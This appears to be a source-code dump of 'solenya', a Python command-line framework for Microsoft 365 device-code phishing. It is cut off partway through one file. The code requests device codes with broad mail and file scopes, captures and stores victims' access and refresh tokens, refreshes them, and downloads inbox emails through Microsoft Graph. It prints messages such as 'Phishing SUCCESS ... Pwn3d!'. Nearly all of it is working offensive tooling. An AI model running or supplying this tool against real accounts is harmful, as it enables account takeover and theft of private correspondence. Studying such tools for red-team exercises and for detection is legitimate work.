├── main.py ├── msph ├── clients │ ├── __init__.py │ ├── constants.py │ ├── graph_api.py │ ├── ms_online.py │ └── framework.py ├── commands │ ├── __init__.py │ ├── auth │ │ ├── __init__.py │ │ ├── phish │ │ │ ├── __init__.py │ │ │ ├── msgs.py │ │ │ └── command.py │ │ ├── refresh │ │ │ ├── __init__.py │ │ │ ├── msgs.py │ │ │ └── command.py │ │ └── root.py │ ├── dump │ │ ├── __init__.py │ │ ├── email │ │ │ ├── __init__.py │ │ │ ├── msgs.py │ │ │ └── command.py │ │ └── root.py │ ├── export │ │ ├── __init__.py │ │ ├── msgs.py │ │ └── command.py │ ├── switch │ │ ├── __init__.py │ │ ├── msgs.py │ │ └── command.py │ ├── target │ │ ├── __init__.py │ │ ├── validators.py │ │ ├── msgs.py │ │ └── command.py │ ├── wsp │ │ ├── __init__.py │ │ ├── validators.py │ │ ├── msgs.py │ │ └── command.py │ └── root.py ├── config.py ├── exceptions.py ├── __init__.py ├── utils.py ├── validators.py ├── workspace.py ├── settings.py ├── __main__.py ├── models.py └── app.py ├── images ├── app-auth.png ├── app-demo.png ├── babayaga.jpg ├── pickleRick.png ├── public-client.png ├── app-registrations.png ├── getting-client-id.png ├── default_permissions.png └── implication-dennis.gif ├── scripts ├── upload.sh └── reinstall.sh ├── requirements.txt ├── LICENSE.txt ├── setup.py ├── .gitignore └── README.md /main.py: -------------------------------------------------------------------------------- 1 | import msph.__main__ -------------------------------------------------------------------------------- /msph/clients/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /msph/commands/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /msph/commands/auth/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /msph/commands/dump/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /msph/commands/export/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /msph/commands/switch/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /msph/commands/target/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /msph/commands/wsp/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /msph/commands/auth/phish/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /msph/commands/auth/refresh/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /msph/commands/dump/email/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /msph/config.py: -------------------------------------------------------------------------------- 1 | class Config(object): 2 | WSP_ROOT_DIR = '.sol' -------------------------------------------------------------------------------- /images/app-auth.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/app-auth.png -------------------------------------------------------------------------------- /images/app-demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/app-demo.png -------------------------------------------------------------------------------- /images/babayaga.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/babayaga.jpg -------------------------------------------------------------------------------- /images/pickleRick.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/pickleRick.png -------------------------------------------------------------------------------- /images/public-client.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/public-client.png -------------------------------------------------------------------------------- /images/app-registrations.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/app-registrations.png -------------------------------------------------------------------------------- /images/getting-client-id.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/getting-client-id.png -------------------------------------------------------------------------------- /images/default_permissions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/default_permissions.png -------------------------------------------------------------------------------- /images/implication-dennis.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CultCornholio/solenya/HEAD/images/implication-dennis.gif -------------------------------------------------------------------------------- /scripts/upload.sh: -------------------------------------------------------------------------------- 1 | cd .. 2 | rm -rf build 3 | rm -rf dist 4 | rm -rf .egg-info 5 | rm -rf eggs 6 | python setup.py sdist bdist_wheel 7 | twine upload dist/* -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | aiohttp==3.7.1 2 | async-timeout==3.0.1 3 | attrs==21.2.0 4 | chardet==3.0.4 5 | colorful==0.5.4 6 | idna==3.2 7 | multidict==5.1.0 8 | peewee==3.14.4 9 | typing-extensions==3.10.0.2 10 | yarl==1.6.3 11 | -------------------------------------------------------------------------------- /scripts/reinstall.sh: -------------------------------------------------------------------------------- 1 | cd .. 2 | python setup.py install 3 | yes | pip uninstall msph 4 | rm -rf dist/ 5 | rm -rf build/ 6 | rm -rf msph.egg-info/ 7 | python setup.py install 8 | rm -rf dist/ 9 | rm -rf build/ 10 | rm -rf msph.egg-info/ 11 | -------------------------------------------------------------------------------- /msph/clients/constants.py: -------------------------------------------------------------------------------- 1 | DEVICE_CODE_SCOPE = ('Contacts.Read Files.ReadWrite Mail.Read ' 2 | 'Notes.Read Mail.ReadWrite ' 3 | 'openid profile User.Read email offline_access') 4 | ACCESS_TOKEN_GRANT = "urn:ietf:params:oauth:grant-type:device_code" 5 | EMAIL_SELECT = 'id,sentDateTime,subject,bodyPreview,toRecipients' -------------------------------------------------------------------------------- /msph/commands/wsp/validators.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | from uuid import UUID 3 | 4 | 5 | def client_id(value): 6 | try: 7 | uuid_obj = UUID(value, version=4) 8 | except ValueError: 9 | raise argparse.ArgumentTypeError( 10 | "client id must be a valid UUID 4.") 11 | else: 12 | return value -------------------------------------------------------------------------------- /msph/commands/export/msgs.py: -------------------------------------------------------------------------------- 1 | import colorful as cf 2 | 3 | def exporting_active_target(target): 4 | return f"Export active target: {cf.magenta(target.name)}." 5 | 6 | def exporting_all_targets(targets): 7 | return f"Export {cf.magenta('all targets')}. Total targets: {cf.cyan(len(targets))}" 8 | 9 | def saved_targets_to_file(path): 10 | return f"Saved target/targets to {cf.cyan(path)}" -------------------------------------------------------------------------------- /msph/exceptions.py: -------------------------------------------------------------------------------- 1 | import colorful as cf 2 | 3 | class CliAppError(Exception): 4 | 5 | def __init__(self, msg, *args, no_spacing=False) -> None: 6 | msg = f"{cf.red('ERROR')}:\n{msg}" 7 | super().__init__(msg, *args) 8 | 9 | class ValidationError(CliAppError): 10 | 11 | def __init__(self, msg, *args, no_spacing=False) -> None: 12 | super().__init__(msg, *args, no_spacing=no_spacing) -------------------------------------------------------------------------------- /msph/commands/dump/root.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | 3 | from msph.app import Command 4 | 5 | from .email.command import email 6 | 7 | 8 | dump = Command('dump', __name__) 9 | 10 | @dump.assembly 11 | def assemble_parser(subparsers, app): 12 | parser = subparsers.add_parser('dump', 13 | help="interacts with the Microsoft Graph API to gather data.") 14 | subparsers = parser.add_subparsers(dest='dump_cmd') 15 | subparsers.required = True 16 | 17 | email.assemble_parser(subparsers, app=app) 18 | 19 | return parser -------------------------------------------------------------------------------- /msph/__init__.py: -------------------------------------------------------------------------------- 1 | from .app import CliApp 2 | from .settings import Settings 3 | from .config import Config 4 | from .workspace import WorkSpace 5 | 6 | settings = Settings() 7 | wsp = WorkSpace() 8 | 9 | def create_app(config = Config): 10 | app = CliApp(__name__) 11 | 12 | app.register_config(config) 13 | app.register_settings(settings) 14 | app.register_plugin(wsp) 15 | 16 | from .commands.root import msph 17 | parser = msph.assemble_parser(app=app) 18 | app.register_parser(parser) 19 | 20 | return app -------------------------------------------------------------------------------- /msph/utils.py: -------------------------------------------------------------------------------- 1 | import json 2 | import argparse 3 | import csv 4 | from os import write 5 | 6 | def format_json(dict_): 7 | return json.dumps(dict_, indent=4, ensure_ascii=False) 8 | 9 | def save_json(dict_, path): 10 | with open(path, 'w', encoding='utf-8') as file: 11 | json.dump(dict_, file, indent=4, ensure_ascii=False) 12 | 13 | def save_to_csv(rows, headers, path): 14 | with open(path, 'w', encoding='utf-8') as file: 15 | writer = csv.writer(file) 16 | writer.writerow(headers) 17 | writer.writerows(rows) 18 | -------------------------------------------------------------------------------- /msph/commands/auth/root.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | 3 | from msph.app import Command 4 | 5 | from .phish.command import phish 6 | from .refresh.command import refresh 7 | 8 | auth = Command('auth', __name__) 9 | 10 | @auth.assembly 11 | def assemble_parser(subparsers, app): 12 | parser = subparsers.add_parser('auth', 13 | help="manage authentication of targets registered with the WorkSpace.") 14 | subparsers = parser.add_subparsers(dest='auth_cmd') 15 | subparsers.required = True 16 | 17 | phish.assemble_parser(subparsers, app=app) 18 | refresh.assemble_parser(subparsers, app=app) 19 | 20 | return parser -------------------------------------------------------------------------------- /msph/clients/graph_api.py: -------------------------------------------------------------------------------- 1 | from .framework import Client, Resource 2 | 3 | from . import constants as const 4 | 5 | client = Client( 6 | base_url='https://graph.microsoft.com', 7 | base_headers={ 8 | 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 9 | 'Content-Type': 'application/x-www-form-urlencoded', 10 | } 11 | ) 12 | 13 | @client.endpoint 14 | def get_emails(access_token, target_id): 15 | return Resource( 16 | uri='/v1.0/me/MailFolders/inbox/messages', 17 | headers={'Authorization': f'Bearer {access_token}'}, 18 | params={'select': const.EMAIL_SELECT} 19 | ) -------------------------------------------------------------------------------- /msph/validators.py: -------------------------------------------------------------------------------- 1 | from msph.app import Validator 2 | 3 | from .exceptions import ValidationError 4 | from . import wsp 5 | from .models import Wsp, WspTarget 6 | 7 | class WorkSpaceRequired(Validator): 8 | 9 | def validate(self): 10 | super().validate() 11 | if not wsp.exists: 12 | raise ValidationError('WorkSpace is required.') 13 | 14 | class ClientIdRequired(WorkSpaceRequired): 15 | 16 | def validate(self): 17 | super().validate() 18 | if not Wsp.select().first(): 19 | raise ValidationError('Client id is required.') 20 | 21 | class ActiveTargetRequired(ClientIdRequired): 22 | 23 | def validate(self): 24 | super().validate() 25 | if not WspTarget.select().where(WspTarget.active == True).first(): 26 | raise ValidationError('No active target found in WorkSpace.') 27 | -------------------------------------------------------------------------------- /msph/workspace.py: -------------------------------------------------------------------------------- 1 | from peewee import SqliteDatabase 2 | import os 3 | import shutil 4 | 5 | class WorkSpace(object): 6 | 7 | name = 'wsp' 8 | 9 | def __init__(self) -> None: 10 | self.db = None 11 | self.app = None 12 | 13 | def register_app(self, app): 14 | self.app = app 15 | self.root_dir = self.app.config.get('WSP_ROOT_DIR') 16 | if not self.root_dir: 17 | self.root_dir = './' 18 | self.db = SqliteDatabase(os.path.join(self.root_dir, 'app.db')) 19 | 20 | def create(self): 21 | os.mkdir(self.root_dir) 22 | 23 | def connect_db(self): 24 | self.db.connect() 25 | 26 | def create_tables(self, *args): 27 | self.db.create_tables(args) 28 | 29 | @property 30 | def exists(self): 31 | return os.path.isdir(self.root_dir) 32 | 33 | def clear(self): 34 | shutil.rmtree(self.root_dir) -------------------------------------------------------------------------------- /msph/commands/auth/refresh/msgs.py: -------------------------------------------------------------------------------- 1 | import colorful as cf 2 | 3 | def checking_for_active_target(target): 4 | return f"Refreshing for active target: {cf.magenta(target.name)}, {cf.coral('user_code')}:{cf.cyan(target.user_code)}" 5 | 6 | def checking_for_all_targets(targets): 7 | return f"Refreshing for {cf.magenta('all targets')}. Total targets: {cf.cyan(len(targets))}" 8 | 9 | def no_refresh_token(target): 10 | return f"{cf.yellow('WARNING')}: target {cf.magenta(target.name)} does not have a valid {cf.green('refresh_token')}. {cf.white('Skipping...')}" 11 | 12 | def could_not_get_access_token(target): 13 | return f"{cf.yellow('WARNING')}: could not get {cf.green('refresh_token')} for target {cf.magenta(target.name)}. {cf.white('Skipping...')}" 14 | 15 | def access_token_success(target): 16 | return f"{cf.green('Access Token Refreshed')}: for target {target.name} (expires: {target.get_exp_time('access_token')})" -------------------------------------------------------------------------------- /msph/commands/root.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | 3 | from msph.app import Command 4 | 5 | from .wsp.command import wsp_cmd 6 | from .target.command import target 7 | from .switch.command import switch 8 | from .auth.root import auth 9 | from .dump.root import dump 10 | from .export.command import export 11 | 12 | msph = Command('sol', __name__) 13 | 14 | @msph.assembly 15 | def assemble_parser(app): 16 | parser = argparse.ArgumentParser( 17 | prog=msph.name, 18 | description="Microsoft365 Device Code Phishing CLI tool." 19 | ) 20 | subparsers = parser.add_subparsers(dest="root_cmd") 21 | subparsers.required = True 22 | 23 | wsp_cmd.assemble_parser(subparsers, app = app) 24 | target.assemble_parser(subparsers, app = app) 25 | switch.assemble_parser(subparsers, app = app) 26 | auth.assemble_parser(subparsers, app = app) 27 | dump.assemble_parser(subparsers, app= app) 28 | export.assemble_parser(subparsers, app = app) 29 | 30 | return parser -------------------------------------------------------------------------------- /msph/commands/wsp/msgs.py: -------------------------------------------------------------------------------- 1 | import colorful as cf 2 | 3 | def workspace_exists(app): 4 | return ( 5 | f"WorkSpace at {cf.cyan(app.plugins.wsp.root_dir)} already exists.\n" 6 | f"Add {cf.cyan('--reset')} flag to reset WorkSpace.\n" 7 | f"{cf.yellow('WARNING')}: all data will be lost." 8 | ) 9 | 10 | def workspace_created(settings, wsp, target): 11 | return ( 12 | f"{cf.green('SUCCESS')}: WorkSpace created at {cf.cyan(wsp.root_dir)}.\n" 13 | f"{cf.white('client_id')}: {cf.cyan(settings.client_id)}\n" 14 | f"{cf.white('active target')}: {cf.magenta(target.name)} [auth]:{cf.coral('user_code')}:{cf.cyan(target.user_code)} (expires at {target.get_exp_time('user_code')})" 15 | ) 16 | 17 | def invalid_client_id(settings): 18 | return ( 19 | f"Could not get user_code for target '{settings.target_name}'.\n" 20 | f"Client id '{cf.cyan(settings.client_id)}'' may be invalid." 21 | f"Set '--verbose' flag for more detail." 22 | ) -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Artur Saradzhyan, Alex Martirosyan 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /msph/settings.py: -------------------------------------------------------------------------------- 1 | from types import SimpleNamespace 2 | import os 3 | 4 | class Settings(SimpleNamespace): 5 | 6 | def __init__(self, **kwargs) -> None: 7 | super().__init__(**kwargs) 8 | self.app = None 9 | 10 | #possible settings 11 | self.target_name = None 12 | self.delete_target = False 13 | self.reset_target = False 14 | self.reset_hard = False 15 | self.client_id = None 16 | self.verbose = False 17 | self.wsp_reset = False 18 | self.create_target = False 19 | self.monitor = False 20 | self.all_targets = False 21 | self.target_names = [] 22 | self.outpath = '' 23 | 24 | self.__dict__.update(**kwargs) 25 | 26 | def register_app(self, app): 27 | self.app = app 28 | 29 | def clear(self): 30 | self.register_from_namespace(Settings(app=self.app)) 31 | return self 32 | 33 | def register_from_namespace(self, namespace): 34 | self.__dict__.update(**vars(namespace)) 35 | return self 36 | 37 | def register_from_dict(self, dict_): 38 | self.__dict__.update(**dict_) 39 | return self 40 | 41 | -------------------------------------------------------------------------------- /msph/clients/ms_online.py: -------------------------------------------------------------------------------- 1 | from .framework import Client, Resource 2 | 3 | from . import constants as const 4 | 5 | client = Client( 6 | base_url='https://login.microsoftonline.com', 7 | base_headers={ 8 | 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0', 9 | 'Content-Type': 'application/x-www-form-urlencoded', 10 | } 11 | ) 12 | 13 | @client.endpoint 14 | def get_device_code(client_id:str) -> str: 15 | return Resource( 16 | uri='/organizations/oauth2/v2.0/devicecode', 17 | data={"client_id": client_id, "scope": const.DEVICE_CODE_SCOPE}, 18 | ) 19 | 20 | @client.endpoint 21 | def get_access_token(client_id:str, device_code:str) -> dict: 22 | return Resource( 23 | uri='/organizations/oauth2/v2.0/token', 24 | data={"grant_type": const.ACCESS_TOKEN_GRANT, "client_id": client_id, "code": device_code}, 25 | ) 26 | 27 | @client.endpoint 28 | def refresh_access_token(refresh_token:str, target_id:str) -> dict: 29 | return Resource( 30 | uri='/common/oauth2/v2.0/token', 31 | data={'grant_type': 'refresh_token', 'refresh_token': refresh_token, 'scope': const.DEVICE_CODE_SCOPE} 32 | ) 33 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | import setuptools 2 | 3 | def get_long_description(path): 4 | try: 5 | with open(path, "r") as fh: 6 | return fh.read() 7 | except FileNotFoundError: 8 | return str() 9 | 10 | setuptools.setup( 11 | name="solenya", 12 | version="0.1.11", 13 | author="Artur Saradzhyan, Alex Martirosyan", 14 | author_email="cult.cornholio@gmail.com", 15 | description="Microsoft365 Device Code Phishing Framework", 16 | long_description=get_long_description("README.md"), 17 | long_description_content_type="text/markdown", 18 | url="https://github.com/CultCornholio/solenya", 19 | packages=setuptools.find_packages(), 20 | entry_points = { 21 | 'console_scripts': [ 22 | 'sol = msph.__main__:main', 23 | ], 24 | }, 25 | install_requires=['aiohttp==3.7.1', 'peewee==3.14.4', 'colorful==0.5.4'], 26 | setup_requires=['aiohttp==3.7.1', 'peewee==3.14.4', 'colorful==0.5.4'], 27 | classifiers=[ 28 | "Programming Language :: Python :: 3", 29 | "License :: OSI Approved :: MIT License", 30 | "Operating System :: OS Independent", 31 | ], 32 | python_requires='>=3.6', 33 | ) -------------------------------------------------------------------------------- /msph/commands/dump/email/msgs.py: -------------------------------------------------------------------------------- 1 | from datetime import date, datetime 2 | import colorful as cf 3 | 4 | 5 | def target_dumped(target): 6 | return f"{cf.green('Emails Gathered!')}: target {cf.magenta(target.name)} {cf.yellow('Pwn3d!')} ({datetime.now()})!" 7 | 8 | def target_failed(target): 9 | return f"{cf.red('Failed to fetch emails!')}: {cf.magenta(target.name)} verify the access token is still valid." 10 | 11 | def starting_check(): 12 | return f"{cf.bold('Running checks...')}" 13 | 14 | def run_for_active_target(target): 15 | return f"Checking for active target: {cf.magenta(target.name)},{cf.coral('user_code')}:{cf.cyan(target.user_code)}" 16 | 17 | def run_for_all_targets(targets): 18 | return f"Running for {cf.magenta('all targets')}. Total targets: {cf.cyan(len(targets))}" 19 | 20 | def starting_session(): 21 | return f"{cf.green('[Starting Session]')}({datetime.now()})" 22 | 23 | def user_code_expired(target): 24 | return f"{cf.yellow('WARNING')}: target {cf.magenta(target.name)} has an invalid {cf.coral('acesss_token')}. {cf.white('Skipping...')}" 25 | 26 | def no_targets_with_access_token(): 27 | return 'no targets have valid access tokens.' 28 | 29 | def file_saved(path, count): 30 | return f"Saved emails for {cf.cyan(count)} targets to {cf.cyan(path)}" -------------------------------------------------------------------------------- /msph/commands/switch/msgs.py: -------------------------------------------------------------------------------- 1 | import colorful as cf 2 | 3 | def active_target_set(target): 4 | msg = ( 5 | f"{cf.green('SUCCESS')}: target {cf.magenta(target.name)} has been set to active.\n" 6 | "[auth]:" 7 | ) 8 | if target.refresh_token: 9 | msg += cf.green("refresh_toked") 10 | if target.is_exp('refresh_token'): 11 | msg += cf.danger('(EXPIRED)') 12 | else: 13 | msg += f"(expires: {target.get_exp_time('refresh_token')})" 14 | else: 15 | msg += f"{cf.coral('user_code')}:{cf.cyan(target.user_code)} " 16 | if target.is_exp('user_code'): 17 | msg += cf.danger('(EXPIRED)') 18 | else: 19 | msg += f"(expires: {target.get_exp_time('user_code')})" 20 | return msg 21 | 22 | def target_is_already_active(target): 23 | return f"Target {cf.magenta(target.name)} is already active." 24 | 25 | def target_not_found(target_name): 26 | return ( 27 | f"Target {cf.magenta(target_name)} is not registered with the WorkSpace.\n" 28 | f"Pass [-t] flag to create a new target or use the {cf.cyan('target')}." 29 | ) 30 | 31 | def target_already_exists(target): 32 | return f"{cf.yellow('WARNING')}: target '{target.name}' already exists in the WorkSpace. Ignoring [--target] flag." -------------------------------------------------------------------------------- /msph/__main__.py: -------------------------------------------------------------------------------- 1 | import sys 2 | sys.tracebacklimit = 0 3 | 4 | from . import create_app 5 | 6 | def main(argv): 7 | app = create_app() 8 | app.dispatch(argv) 9 | 10 | sys.exit(main(sys.argv[1:])) 11 | 12 | ''' 13 | MIT License 14 | 15 | Copyright (c) 2021 Artur Saradzhyan, Alex Martirosyan 16 | 17 | Permission is hereby granted, free of charge, to any person obtaining a copy 18 | of this software and associated documentation files (the "Software"), to deal 19 | in the Software without restriction, including without limitation the rights 20 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 21 | copies of the Software, and to permit persons to whom the Software is 22 | furnished to do so, subject to the following conditions: 23 | 24 | The above copyright notice and this permission notice shall be included in all 25 | copies or substantial portions of the Software. 26 | 27 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 28 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 29 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 30 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 31 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 32 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 33 | SOFTWARE.''' -------------------------------------------------------------------------------- /msph/commands/auth/phish/msgs.py: -------------------------------------------------------------------------------- 1 | from datetime import date, datetime 2 | import colorful as cf 3 | 4 | def ending_session(targets_authed_count, targets_expired_count): 5 | return ( 6 | f"{cf.green('[Ending Session]')}({datetime.now()})\n" 7 | "[session summary]\n" 8 | f"\ttargets authed count: {cf.cyan(targets_authed_count)}\n" 9 | f"\ttargets expired count: {cf.cyan(targets_expired_count)}" 10 | ) 11 | 12 | def no_targets_need_phishing(): 13 | return f"{cf.yellow('WARNING')}: No phishing targets remianing." 14 | 15 | def target_authed(target): 16 | return f"{cf.green('Phishing SUCCESS')}: target {cf.magenta(target.name)} {cf.yellow('Pwn3d!')} ({datetime.now()})!" 17 | 18 | def starting_check(): 19 | return f"{cf.bold('Running checks...')}" 20 | 21 | def checking_for_active_target(target): 22 | return f"Checking for active target: {cf.magenta(target.name)}, {cf.coral('user_code')}:{cf.cyan(target.user_code)}" 23 | 24 | def checking_for_all_targets(targets): 25 | return f"Checking for {cf.magenta('all targets')}. Total targets: {cf.cyan(len(targets))}" 26 | 27 | def starting_session(): 28 | return f"{cf.green('[Starting Session]')}({datetime.now()})" 29 | 30 | def has_refresh_token(target): 31 | return f"{cf.yellow('WARNING')}: target {cf.magenta(target.name)} has a valid {cf.coral('refresh_token')}. {cf.white('Skipping...')}" 32 | 33 | def user_code_expired(target): 34 | return f"{cf.yellow('WARNING')}: target {cf.magenta(target.name)} has an expired {cf.coral('user_code')}. {cf.white('Skipping...')}" 35 | 36 | -------------------------------------------------------------------------------- /msph/commands/target/validators.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import re 3 | 4 | from msph.app import Validator, current_app 5 | 6 | from ... import settings 7 | 8 | class CliValidator(Validator): 9 | 10 | def validate(self): 11 | if settings.delete_target: 12 | if not settings.target_names: 13 | current_app.active_command.parser.error('Must specify {target_names} with [-d] flag.') 14 | if settings.reset_target: 15 | if settings.target_names and settings.all_targets: 16 | current_app.active_command.parser.error('Can no specify {target_names} with [-a] flag.') 17 | if settings.all_targets and not settings.reset_target: 18 | current_app.active_command.parser.error("[-a] flag can only be set with [-r] flag.") 19 | if settings.reset_hard: 20 | if not settings.delete_target and not settings.reset_target: 21 | current_app.active_command.parser.error("[--hard] flag can only be set with [-d, -r] flags.") 22 | if settings.delete_target or not settings.target_name: 23 | if settings.verbose: 24 | current_app.active_command.parser.error("[-v] flag can only be set when creating or reseting targets.") 25 | return True 26 | 27 | def target_names(name): 28 | name = str(name) 29 | pattern = re.compile("^[a-z0-9_]*$") 30 | if len(name) > 10 or len(name) < 3 or not pattern.match(name): 31 | raise argparse.ArgumentTypeError( 32 | "target name must be between 3-10 characters long " 33 | "and can only contain lowercase letters, numbers and underscores.") 34 | return name -------------------------------------------------------------------------------- /msph/models.py: -------------------------------------------------------------------------------- 1 | import peewee as pw 2 | from playhouse.hybrid import hybrid_property 3 | from datetime import date, datetime, timedelta 4 | 5 | from .exceptions import CliAppError 6 | 7 | from . import wsp 8 | 9 | class BaseModel(pw.Model): 10 | class Meta: 11 | database = wsp.db 12 | 13 | class Wsp(BaseModel): 14 | client_id = pw.CharField(100) 15 | 16 | class Target(BaseModel): 17 | 18 | device_code_exp = timedelta(minutes=15) 19 | user_code_exp = timedelta(minutes=15) 20 | access_token_exp = timedelta(hours=1) 21 | refresh_token_exp = timedelta(days=90) 22 | 23 | name = pw.CharField(100) 24 | device_code = pw.TextField(null=True) 25 | user_code = pw.TextField(null=True) 26 | access_token = pw.TextField(null=True) 27 | refresh_token = pw.TextField(null=True) 28 | device_code_ts = pw.DateTimeField(null=True) 29 | user_code_ts = pw.DateTimeField(null=True) 30 | access_token_ts = pw.DateTimeField(null=True) 31 | refresh_token_ts = pw.DateTimeField(null=True) 32 | 33 | def is_exp(self, ts_str): 34 | return datetime.now() > self.get_exp_time(ts_str) 35 | 36 | def get_exp_time(self, ts_str): 37 | ts = getattr(self, f"{ts_str}_ts") 38 | if not ts: 39 | return datetime.min 40 | return getattr(self, f"{ts_str}_ts") + getattr(Target, f"{ts_str}_exp") 41 | 42 | @hybrid_property 43 | def active(self): 44 | return self.wsp_target.first().active 45 | 46 | class WspTarget(BaseModel): 47 | wsp = pw.ForeignKeyField(Wsp, backref='wsp_target') 48 | target = pw.ForeignKeyField(Target, backref="wsp_target") 49 | active = pw.BooleanField(default = False) 50 | timestamp = pw.DateTimeField(default=datetime.now) 51 | -------------------------------------------------------------------------------- /msph/commands/switch/command.py: -------------------------------------------------------------------------------- 1 | from msph.app import Command, current_app 2 | from msph.exceptions import CliAppError 3 | from msph.settings import Settings 4 | 5 | from ...validators import ActiveTargetRequired 6 | from ... import settings 7 | from ...models import Target, WspTarget 8 | from . import msgs 9 | 10 | switch = Command('switch', __name__, 11 | validators=[]) 12 | 13 | @switch.assembly 14 | def assemble_parser(subparsers): 15 | parser = subparsers.add_parser('switch', 16 | help="switches active target.") 17 | parser.add_argument('-t', '--target', 18 | help=("automatically create target if none exists before " 19 | "running the reset of the command."), 20 | dest="create_target", 21 | action="store_true") 22 | parser.add_argument('target_name', 23 | help="the name of the target to switch to.", 24 | type=str) 25 | return parser 26 | 27 | @switch.func 28 | def main(): 29 | active_target = Target.select().join(WspTarget)\ 30 | .where(WspTarget.active == True).first() 31 | target = Target.select().where(Target.name == settings.target_name).first() 32 | if settings.create_target: 33 | if target: 34 | current_app.display(msgs.target_already_exists(target)) 35 | else: 36 | current_app.run_command( 37 | 'msph.target', 38 | settings=Settings(target_names = [settings.target_name])) 39 | target = Target.select().where(Target.name == settings.target_name).first() 40 | if not target: 41 | raise CliAppError(msgs.target_not_found(settings.target_name)) 42 | if active_target.id == target.id: 43 | raise CliAppError(msgs.target_is_already_active(target)) 44 | wsp_target_to_deactive = active_target.wsp_target.first() 45 | wsp_target_to_activate = target.wsp_target.first() 46 | wsp_target_to_deactive.active = False 47 | wsp_target_to_activate.active = True 48 | wsp_target_to_deactive.save() 49 | wsp_target_to_activate.save() 50 | current_app.display(msgs.active_target_set(target)) -------------------------------------------------------------------------------- /msph/commands/auth/refresh/command.py: -------------------------------------------------------------------------------- 1 | from asyncio import gather 2 | from datetime import datetime 3 | 4 | from msph.app import Command, current_app 5 | 6 | from ....clients import ms_online as client 7 | from ....models import WspTarget, Target 8 | from .... import settings 9 | from . import msgs 10 | 11 | refresh = Command('refresh', __name__, validators=[]) 12 | 13 | @refresh.assembly 14 | def assemble_parser(subparsers): 15 | parser = subparsers.add_parser('refresh', 16 | help="obtain a fresh access token using the refresh token.") 17 | parser.add_argument('-a', '--all', 18 | help="refresh tokens for all targets with a non expired refresh_token.", 19 | action="store_true", 20 | dest="all_targets") 21 | parser.add_argument('-v', '--verbose', 22 | help="display output from the API.", 23 | action="store_true", 24 | dest="verbose") 25 | return parser 26 | 27 | @refresh.func 28 | def main(): 29 | client.client.aio = True 30 | if settings.all_targets: 31 | targets = [target for target in Target.select()] 32 | current_app.display(msgs.checking_for_all_targets(targets)) 33 | else: 34 | targets = [target for target in Target.select()\ 35 | .join(WspTarget)\ 36 | .where(WspTarget.active == True)] 37 | current_app.display(msgs.checking_for_active_target(targets[0])) 38 | updated_targets = [] 39 | for target in targets: 40 | if target.is_exp('refresh_token'): 41 | 